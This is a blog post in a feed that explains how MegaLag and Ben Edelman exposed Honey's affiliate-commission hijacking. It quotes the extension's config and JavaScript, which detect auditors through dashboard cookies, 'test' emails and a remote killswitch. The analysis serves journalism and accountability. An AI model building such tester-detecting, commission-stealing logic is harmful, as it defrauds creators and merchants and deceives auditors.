]]></content:encoded><category>security</category><category>law-and-regulation</category><category>politics</category></item><item><title>Digital David and Goliath: Understanding MegaLag vs Honey/PayPal</title><link>https://akitaonrails.github.io/en/2026/08/12/digital-david-and-goliath-understanding-megalag-vs-honey-paypal/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/08/12/digital-david-and-goliath-understanding-megalag-vs-honey-paypal/</guid><pubDate>Wed, 12 Aug 2026 11:00:00 -0300</pubDate><description>&lt;p&gt;Anyone who makes content for a living knows: affiliate commission pays real bills. You test a product, record the review, drop the link in the description. Someone watches, clicks, buys days later, and a slice of the sale lands in your account. That&amp;rsquo;s how a good chunk of independent YouTube funded itself over the last decade.&lt;/p&gt;
&lt;p&gt;Now imagine finding out that one of your sponsors was planted at your viewers&amp;rsquo; checkout, swapping your tag for theirs and pocketing those commissions. Millions of times. For years.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Anyone who makes content for a living knows: affiliate commission pays real bills. You test a product, record the review, drop the link in the description. Someone watches, clicks, buys days later, and a slice of the sale lands in your account. That&rsquo;s how a good chunk of independent YouTube funded itself over the last decade.</p>
<p>Now imagine finding out that one of your sponsors was planted at your viewers&rsquo; checkout, swapping your tag for theirs and pocketing those commissions. Millions of times. For years.</p>
<p>That&rsquo;s what MegaLag showed in December 2024, exposing the practices of Honey, the coupon extension PayPal bought for $4 billion that promised to <em>&ldquo;find every coupon code on the internet&rdquo;</em> for you. I&rsquo;ve followed his channel since that video and became an instant fan: this is technical journalism with live demos, code, and packet captures, not just loud accusations.</p>
<p>A year and a half later, the story has only gotten thicker: PayPal tried to dismiss it all as fake news, MegaLag came back with irrefutable technical evidence, Rakuten and other affiliate networks publicly cut Honey off, and the whole thing became a class action that just survived a motion to dismiss.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/vc4yL3YTwWk"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>The video timeline, since these are the primary sources for this article:</p>
<ol>
<li><a href="https://www.youtube.com/watch?v=vc4yL3YTwWk"target="_blank" rel="noopener">Exposing the Honey Influencer Scam</a>, December 21, 2024</li>
<li><a href="https://www.youtube.com/watch?v=wwB3FmbcC88"target="_blank" rel="noopener">Exposing Honey&rsquo;s Evil Business Model (PART 2)</a>, December 22, 2025</li>
<li><a href="https://www.youtube.com/watch?v=qCGT_CKGgFE"target="_blank" rel="noopener">The Honey Scam is Worse Than I Thought</a>, December 30, 2025</li>
<li><a href="https://www.youtube.com/watch?v=EXDemfGNGz0"target="_blank" rel="noopener">Honey Gets Terminated as Lawsuits Proceed</a>, August 11, 2026 (yesterday)</li>
</ol>
<p>I&rsquo;m telling this story in three acts: the last-click trick against creators, the extortion model against stores, and the defeat device that fooled the networks&rsquo; auditors. The technical core, the part that matters to us developers, is in the third act. But without the first two it makes no sense.</p>
<h2>What Honey was supposed to be<span class="hx:absolute hx:-mt-20" id="what-honey-was-supposed-to-be"></span>
    <a href="#what-honey-was-supposed-to-be" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The consumer pitch was irresistible: a free extension that, right at checkout, tries every known coupon code and applies the best one to your cart. <em>&ldquo;It&rsquo;s literally free money.&rdquo;</em> And no, they swore, they didn&rsquo;t sell your data.</p>
<p>For content creators, Honey was a generous sponsor. MegaLag mapped roughly 5,000 sponsored videos across more than 1,000 channels, adding up to nearly 8 billion views. MrBeast was the first big name, and former Honey president Joanne Bradford bragged: <em>&ldquo;every kid in America knows what Honey is.&rdquo;</em></p>
<p>Creators got easy money for recommending a tool that seemed useful. The irony, which the first video exposes in exquisite detail: those same creators were installing on their audiences, the audiences most likely to click their affiliate links, the tool that was stealing those very commissions.</p>
<p>For stores and marketplaces, Honey sold itself as a conversion tool: less cart abandonment, higher average order value. And there was an extra, shadier pitch, right in the partner FAQ and on Honey&rsquo;s own podcast: the store controlled which coupons went live. So the consumer story was <em>&ldquo;we find every code,&rdquo;</em> while the merchant story was <em>&ldquo;you keep consumers from finding your good codes.&rdquo;</em> Both stories were official.</p>
<h2>Affiliate marketing in 30 seconds<span class="hx:absolute hx:-mt-20" id="affiliate-marketing-in-30-seconds"></span>
    <a href="#affiliate-marketing-in-30-seconds" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>To understand the crime, you need to understand the victim. Affiliate marketing works like this: a creator posts a link with a tracking tag (like <code>?tag=shortcircuit</code> on a Newegg link). You click, the store drops a cookie good for about 30 days, and if you buy anything in that window, the commission goes to whoever generated that click.</p>
<p>MegaLag has a good analogy for this: it&rsquo;s like the department-store salesman who helps you, hands you a referral card with his name on it, and the cashier knows whose sale it was. The affiliate cookie is the digital version of that card.</p>
<p>The industry standard is <strong>last-click attribution</strong>: the last click takes everything. Not the fairest system in the world, but the simplest to implement. And here&rsquo;s where the trouble lives: whoever shows up in the final second before payment always wins. And who shows up in the final second? A browser extension that wakes up exactly on the checkout screen. It&rsquo;s as if a second salesman, one who never helped you at all, snatched the card from your hand in the checkout line and handed over his own instead.</p>
<h2>What Honey actually did<span class="hx:absolute hx:-mt-20" id="what-honey-actually-did"></span>
    <a href="#what-honey-actually-did" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The first video documents the scenarios, all variations on the same trick:</p>
<ul>
<li><strong>The coupon popup</strong>: you click &ldquo;apply discounts,&rdquo; Honey opens a tiny hidden tab that simulates an affiliate click with PayPal&rsquo;s tag, then closes itself. Your creator&rsquo;s cookie gets overwritten. Commission stolen, even when Honey finds no coupon at all.</li>
<li><strong>Honey Gold</strong>: when there&rsquo;s no coupon, up pops an offer for cashback points. Click it, same thing: last click, PayPal&rsquo;s commission.</li>
<li><strong>The empty popup</strong>: no coupon, no cashback, Honey still pops up so you&rsquo;ll click &ldquo;got it.&rdquo; Clicked to dismiss? Too late, the click counted.</li>
<li><strong>The PayPal button</strong>: at a checkout that already offers PayPal, Honey shows a &ldquo;check out with PayPal&rdquo; button. Any excuse works to grab that last click.</li>
</ul>
<p>MegaLag&rsquo;s NordVPN experiment makes it concrete: a 40% commission program. Two purchases made through his own affiliate link. Without Honey: $35 in commission. With Honey Gold activated: $0. His cut, as the &ldquo;consumer,&rdquo; of the loot stolen from himself? 89 points, or <strong>89 cents</strong>. Honey kept 97.5% of what was rightfully his.</p>
<blockquote>
  <p><strong>Remember this:</strong> even when you click the creator&rsquo;s affiliate link, the commission goes to PayPal if Honey shows up at checkout. In the NordVPN test, out of $35 in commission, the &ldquo;benefit&rdquo; left for the user was 89 cents.</p>

</blockquote>
<p>And this was no hypothesis, it was happening at industrial scale. The first video&rsquo;s central example uses Linus Tech Tips&rsquo; affiliate tag on Newegg: Linus Media Group promoted Honey for years, across something like 160 sponsored segments, and ended the partnership in 2022 after noticing Honey overwrote their affiliate link <em>even when it found no discount at all</em>. Notice the demographic trap: whoever installs a coupon extension is exactly the viewer who hunts prices and clicks affiliate links. Honey paid the sponsorship once and went on taxing the creator&rsquo;s future commissions forever.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/wwB3FmbcC88"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>So far, the victim was the creator. The second video shows the other side of the counter: the stores.</p>
<h2>The business model against the stores<span class="hx:absolute hx:-mt-20" id="the-business-model-against-the-stores"></span>
    <a href="#the-business-model-against-the-stores" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The extension&rsquo;s <code>supported domains</code> file listed over 180,000 stores, against &ldquo;30,000 participating&rdquo; in the marketing. The spreadsheet analysis (a developer crawled the whole thing and published it) showed 146,000 stores with no relationship at all, included presumably without consent.</p>
<p>There&rsquo;s more: a coupon typed manually at checkout was sent to Honey&rsquo;s servers <em>before</em> asking for consent. And private codes leaked into the public database: military discounts, employee codes, a $75-off code with no minimum order that meant unlimited free merchandise.</p>
<p>The damage was measurable. One store owner reported a $100,000 loss after the exclusive code from the podcast he sponsored leaked into Honey&rsquo;s database, and he only noticed months later, long after the podcast&rsquo;s affiliate commission had evaporated. Chip, the CEO of Made In Cookware, summed up the effect: <em>&ldquo;if Honey is going to take 10% of your revenue all the time, at the end of the day you&rsquo;re forced to raise prices.&rdquo;</em></p>
<p>And when a store owner asked to be removed, the official answer was <em>&ldquo;we typically do not remove codes unless we have a working relationship,&rdquo;</em> which MegaLag accurately calls economic extortion: <strong>stores don&rsquo;t pay to get in, they pay to get out</strong>.</p>
<h2>Stand down: the rule Honey pretended to follow<span class="hx:absolute hx:-mt-20" id="stand-down-the-rule-honey-pretended-to-follow"></span>
    <a href="#stand-down-the-rule-honey-pretended-to-follow" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Against all of this, PayPal&rsquo;s defense was always the same: <em>&ldquo;Honey follows industry rules and practices, including last-click attribution.&rdquo;</em> A clever rhetorical exit, because you can argue about whether last-click is fair. What comes next is different in nature: proof that Honey knew it was in the wrong and built a system to avoid getting caught.</p>
<p>Some context first. Affiliate networks (Rakuten Advertising, CJ, Impact, Awin) have known since 2002 that browser extensions are natural parasites in this ecosystem. So they created a contractual rule called <strong>stand down</strong>: if the user already arrived at the store through another affiliate&rsquo;s link, the extension must deactivate itself and not interfere. Period. It&rsquo;s written into the contracts. Rakuten&rsquo;s policy, for instance, says the publisher must <em>&ldquo;stand down and not display any forms of sliders or pop-ups&rdquo;</em> when another affiliate has already referred the user, and <em>&ldquo;must not force clicks or cookie stuff.&rdquo;</em></p>
<p>And Honey complied. Technically. When tested.</p>
<p>Which brings us to the heart of the third video, what MegaLag calls Cookie Gate, and his analogy is exact: Volkswagen&rsquo;s Dieselgate. VW programmed its cars to lower emissions only during lab tests. Honey programmed its extension to respect stand down only when it detected the user was probably an auditor.</p>
<blockquote>
  <p><strong>Remember this:</strong> stand down has been a contractual obligation since 2002, not a courtesy. If the user arrived at the store through another affiliate&rsquo;s link, the extension must back off. Honey backed off only when the user smelled like an auditor.</p>

</blockquote>
<h2>The evidence: ssd.json, line by line<span class="hx:absolute hx:-mt-20" id="the-evidence-ssdjson-line-by-line"></span>
    <a href="#the-evidence-ssdjson-line-by-line" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>After PayPal bought Honey, the extension was rewritten and the rules started arriving in plain text from a server. That let MegaLag expose the entire mechanism, and let Ben Edelman, the security researcher who worked the eBay affiliate-fraud case in the 2000s, verify all of it independently (<a href="https://www.benedelman.org/honey-detecting-testers/"target="_blank" rel="noopener">his full analysis here</a>).</p>
<p>First architectural point: <strong>the stand-down rules live in the cloud, not in the extension</strong>. The extension fetches two JSON files from Honey&rsquo;s servers and checks for updates every hour: <code>standdown-rules.json</code> (the normal rules) and <code>ssd.json</code> (the <em>selective stand-down</em> rules). Meaning: PayPal could change the behavior of ~14 million users within an hour, with no extension update, no Chrome Web Store review, no one watching.</p>
<p>Second: the normal rules were already a joke. The stand-down timer, how long Honey respects the original affiliate&rsquo;s cookie, was 3,600 seconds. One hour. Clicked your favorite YouTuber&rsquo;s link in the morning, bought in the afternoon, Honey could act again. And a 2023 Wayback Machine capture shows it was once <strong>360 seconds. Six minutes</strong>. As MegaLag says, it takes him more than six minutes just to type in his credit card. No affiliate network defines any such expiry. Honey made one up.</p>
<p>Third, the main course. This is the <code>ssd.json</code> captured on October 22, 2025 (comments are mine):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;ssd&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;base&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;gca&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>      <span class="c1">// check for affiliate console cookies
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;bl&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>       <span class="c1">// check the server-side blacklist
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">65000</span><span class="p">,</span>   <span class="c1">// minimum points to IGNORE stand down
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;adb&#34;</span><span class="p">:</span> <span class="mi">26298469858850</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// domains where &#34;industry insider&#34; cookies get checked:
</span></span></span><span class="line"><span class="cl">  <span class="nt">&#34;affiliates&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;https://www.cj.com&#34;</span><span class="p">,</span> <span class="s2">&#34;https://www.linkshare&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                 <span class="s2">&#34;https://www.rakuten.com&#34;</span><span class="p">,</span> <span class="s2">&#34;https://ui.awin.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                 <span class="s2">&#34;https://www.swagbucks.com&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;LS&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">5001</span> <span class="p">},</span>  <span class="c1">// Rakuten exception (formerly LinkShare)
</span></span></span><span class="line"><span class="cl">  <span class="nt">&#34;PAYPAL&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uL&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">5000001</span><span class="p">,</span> <span class="nt">&#34;adb&#34;</span><span class="p">:</span> <span class="mi">26298469858850</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;ex&#34;</span><span class="p">:</span> <span class="p">{</span>  <span class="c1">// per-store exceptions (Honey internal IDs)
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;7555272277853494990&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">5001</span> <span class="p">},</span>                         <span class="c1">// TJ Maxx
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;7394089402903213168&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uL&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nt">&#34;adb&#34;</span><span class="p">:</span> <span class="mi">120000</span><span class="p">,</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">1001</span> <span class="p">},</span> <span class="c1">// Booking.com
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;243862338372998182&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uL&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">100000</span> <span class="p">},</span>               <span class="c1">// Kayo Sports
</span></span></span><span class="line"><span class="cl">    <span class="c1">// cookies to look for, in the SAME ORDER as the domains above:
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;GA&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;CONTID&#34;</span><span class="p">,</span> <span class="s2">&#34;s_vi&#34;</span><span class="p">,</span> <span class="s2">&#34;_ga&#34;</span><span class="p">,</span> <span class="s2">&#34;networkGroup&#34;</span><span class="p">,</span> <span class="s2">&#34;_gid&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>How it works: when the extension detects you clicked an affiliate link, it consults these rules before deciding whether to honor stand down:</p>
<ul>
<li><strong><code>uL</code></strong> (user logged in): you must be logged into a Honey account.</li>
<li><strong><code>uA</code></strong> (user account age): your account must be a minimum age, 30 days, in milliseconds, <em>&ldquo;for whatever reason,&rdquo;</em> as MegaLag notes. A brand-new account is the signature of someone testing the extension for an audit.</li>
<li><strong><code>uP</code></strong> (user points): you must have accumulated a minimum of cashback points. In the current config: 65,000 points. Since 1,000 points redeem for $10 in gift cards, that&rsquo;s $650 in lifetime earnings, which rules out virtually every real user and certainly every auditor on a test account.</li>
<li><strong><code>bl</code></strong> (blacklist): the server can flag your ID, cookie, or IP (anyone who ever complained about Honey, say) and treat you as &ldquo;high risk.&rdquo;</li>
<li><strong><code>gca</code></strong>: the most incriminating of all, and it gets its own paragraph.</li>
</ul>
<p>If you pass every filter, the system classifies you as a legitimate consumer and Honey <strong>ignores stand down</strong> and takes the commission. Fail any one, it classifies you as a possible auditor and Honey behaves impeccably. Edelman sums it up: <em>&ldquo;Honey stands down, but only sometimes. And the sometimes is predictable.&rdquo;</em> Deterministic, actually: same conditions, same result, reproducible.</p>
<h3>The gca: checking your pockets for an inspector&rsquo;s badge<span class="hx:absolute hx:-mt-20" id="the-gca-checking-your-pockets-for-an-inspectors-badge"></span>
    <a href="#the-gca-checking-your-pockets-for-an-inspectors-badge" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The <code>gca</code> is the digital equivalent of patting you down for a regulator&rsquo;s badge. The <code>affiliates</code> and <code>GA</code> lists are positionally paired: on the <code>cj.com</code> domain, look for the <code>CONTID</code> cookie; on <code>linkshare</code>, <code>s_vi</code>; on <code>ui.awin.com</code>, <code>networkGroup</code>. The code, recovered via <code>sourceMappingURL</code> from the iOS app that leaked practically unobfuscated:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">m</span> <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">ex</span> <span class="o">&amp;&amp;</span> <span class="nx">p</span><span class="p">.</span><span class="nx">ex</span><span class="p">.</span><span class="nx">GA</span> <span class="o">||</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="nx">g</span> <span class="o">=</span> <span class="nx">i</span><span class="p">().</span><span class="nx">map</span><span class="p">(</span><span class="nx">p</span><span class="p">.</span><span class="nx">ssd</span> <span class="o">&amp;&amp;</span> <span class="nx">p</span><span class="p">.</span><span class="nx">ssd</span><span class="p">.</span><span class="nx">affiliates</span><span class="p">,</span> <span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">f</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">u</span><span class="p">.</span><span class="nx">A</span><span class="p">.</span><span class="nx">get</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">        <span class="nx">name</span><span class="o">:</span> <span class="nx">m</span><span class="p">[</span><span class="nx">f</span><span class="p">],</span> <span class="c1">// cookie name from the GA array
</span></span></span><span class="line"><span class="cl">        <span class="nx">url</span><span class="o">:</span> <span class="nx">e</span>      <span class="c1">// domain to check
</span></span></span><span class="line"><span class="cl">    <span class="p">}).</span><span class="nx">then</span><span class="p">((</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">e</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">o</span><span class="p">.</span><span class="nx">gca</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span> <span class="c1">// cookie found: gca = 0, enter compliance mode
</span></span></span><span class="line"><span class="cl">    <span class="p">}))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If you carry a login cookie from the CJ, Rakuten, or Awin affiliate dashboards, that is, if you work in the industry, Honey honors stand down on everything, always, no matter the link. MegaLag discovered this by accident while testing his own extension (Cookie Guard): he logged into his CJ affiliate account in another tab, and suddenly Honey turned into an angel.</p>
<p>And notice the cynical design detail: domains and cookie names sit in two separate lists instead of name-value pairs. As Edelman points out, the effect is to make the relationship between them harder to spot for anyone skimming the file.</p>
<p>Edelman is categorical about what this means: there is no legitimate reason for a coupon extension to check whether you logged into an affiliate dashboard. The only function is hiding from the people who enforce the rules. And whoever hides knows they&rsquo;re doing something prohibited.</p>
<h3>The other tricks: the &ldquo;test&rdquo; email, the killswitch, and eBay<span class="hx:absolute hx:-mt-20" id="the-other-tricks-the-test-email-the-killswitch-and-ebay"></span>
    <a href="#the-other-tricks-the-test-email-the-killswitch-and-ebay" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Two more gems in the code. The extension scans your email address for the word &ldquo;test&rdquo;. Found it, compliance mode:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">email</span> <span class="o">&amp;&amp;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">email</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="s2">&#34;test&#34;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">o</span><span class="p">.</span><span class="nx">bl</span> <span class="o">=</span> <span class="mi">0</span><span class="p">),</span> <span class="o">!</span><span class="nx">r</span><span class="p">.</span><span class="nx">isLoggedIn</span> <span class="o">||</span> <span class="nx">t</span><span class="p">)</span> <span class="p">{</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And there&rsquo;s a master killswitch on the server: the extension periodically fetches a URL, and depending on the response the entire SSD system turns on or off:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="k">return</span> <span class="nx">e</span><span class="p">.</span><span class="nx">next</span> <span class="o">=</span> <span class="mi">7</span><span class="p">,</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">&#34;&#34;</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="s2">&#34;https://s.joinhoney.com&#34;</span><span class="p">,</span> <span class="s2">&#34;/ck/alive&#34;</span><span class="p">));</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">c</span> <span class="o">=</span> <span class="nx">S</span><span class="p">().</span><span class="nx">then</span><span class="p">((</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">e</span> <span class="o">&amp;&amp;</span> <span class="s2">&#34;alive&#34;</span> <span class="o">===</span> <span class="nx">e</span><span class="p">.</span><span class="nx">is</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">o</span><span class="p">.</span><span class="nx">bl</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>One flip on the server and 14 million extensions go into compliance mode instantly. Handy, say, on the day a big audit gets announced.</p>
<p>And eBay? eBay gets VIP treatment, straight in the code: while normal stand down lasts one hour, eBay&rsquo;s lasts 86,400 seconds (24 hours), and the SSD logic is explicitly disabled for eBay domains:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="s2">&#34;regex&#34;</span><span class="o">:</span> <span class="s2">&#34;^https?\\:\\/\\/rover\\.ebay((?![\\?\\&amp;]pub=5575133559).)*$&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;provider&#34;</span><span class="o">:</span> <span class="s2">&#34;LS&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;overrideBl&#34;</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;ttl&#34;</span><span class="o">:</span> <span class="mi">86400</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

